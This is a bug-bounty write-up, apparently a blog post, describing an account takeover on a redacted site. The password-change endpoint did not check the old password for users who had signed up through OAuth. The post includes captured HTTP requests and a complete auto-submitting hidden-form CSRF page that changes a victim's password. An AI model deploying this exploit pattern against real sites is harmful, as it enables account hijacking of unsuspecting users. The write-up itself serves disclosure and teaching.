Today, I want to tell the story of one of my account takeover vulnerabilities. This method is unique because I found the method by researching the random program I was working on.
If this article is supported, I will share the next vulnerabilities that were interesting to me as an article.
Let’s tell the story…
I was working on an England famous website for some days but I couldn’t find any security issues.
While working on the website, I decided to work on the password-changing section, which was similar to changing the password section on other websites.
So I tried to check the HTTP request:
POST /account/changePassword HTTP/2
Host: secure.redacted.com
Cookie: CUSTOMERCOOKIEID=TEST
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
Origin: https://secure.redacted.com
Referer: https://secure.redacted.com/account/changePassword
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
oldPassword=testold&newPassword1=testnew&newPassword2=testnew&submitChanges=Submit
As we see, the old password is checked by the oldpassword parameter.
But I always check the parameter’s functionality So I removed the
oldpassword parameter in the captured request:
newPassword1=testnew&newPassword2=testnew&submitChanges=Submit
Suddenly I saw in the response that the password had changed.
I was amazed because that parameter didn’t work. So I tried to repeat this process, but that didn’t work.
I was surprised and tried to find the problem.
After a few minutes of trying, I understood I could only do this process once. Because when the customers sign up on the website via the OAuth, the default password isn’t set by the programmer or isn’t asked by the application. So when we do this process, the old password will be set and we can not do this again because now that exists in the database, and when we remove the old password parameter, that is checked by the application.
So we were able to figure out how we can use this security issue.
But we still can not exploit this.
Now when we check the request, we figure out, that this is a simple request.
because a simple request must have some conditions:
- HTTP Method must be:
1. GET
2. POST
3. HEAD - Content-Type must be:
1. application/x-www-form-urlencoded
2. multipart/form-data
3. text/plain - It must not have the Custom Headers.
So everything is prepared for the CSRF attack.
Point:
In the CSRF attack, we need to check the important cookies that were on the same site: none.
If those were lax, they would just be sent using the GET method.
Fortunately, those are “none”.
POST /account/changePassword HTTP/2
Host: secure.redacted.com
Cookie: CUSTOMERCOOKIEID=TEST
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
Origin: https://secure.redacted.com
Referer: https://secure.redacted.com/account/changePassword
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
newPassword1=testnew&newPassword2=testnew&submitChanges=Submit+Changes
Now we can write the exploit for this:
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form action="https://secure.redacted.com/account/changePassword" method="POST">
<input type="hidden" name="oldPassword" value="" />
<input type="hidden" name="newPassword1" value="testnew" />
<input type="hidden" name="newPassword2" value="testnew" />
<input type="hidden" name="submitChanges" value="Submit Changes" />
<input type="submit" value="Submit request" style="opacity: 0;" />
</form>
<script>
document.querySelector("form").submit()
</script>
</body>
</html>
So, we can create a new account and use this exploit to change the password and finally take over the account.
I hope you enjoy it !!!!!
Written by Mohammad Hossein Nikyar